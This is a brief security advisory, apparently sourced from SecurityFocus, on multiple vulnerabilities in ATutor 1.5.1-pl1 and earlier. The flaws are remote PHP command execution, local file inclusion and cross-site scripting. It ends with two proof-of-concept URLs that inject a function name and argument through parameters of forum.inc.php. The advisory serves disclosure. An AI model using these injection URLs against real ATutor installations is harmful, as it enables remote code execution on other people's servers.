10 lines
No EOL
478 B
Text
10 lines
No EOL
478 B
Text
source: http://www.securityfocus.com/bid/15221/info
|
|
|
|
ATutor is prone to multiple vulnerabilities.
|
|
|
|
These issues can allow remote attackers to execute arbitrary PHP commands and carry out local file include and cross-site scripting attacks.
|
|
|
|
ATutor 1.5.1-pl1 and prior versions are affected.
|
|
|
|
http://www.example.com/include/html/forum.inc.php?addslashes=[function]&asc=[parameter]
|
|
http://www.example.com/include/html/forum.inc.php?addslashes=[function]&desc=[parameter] |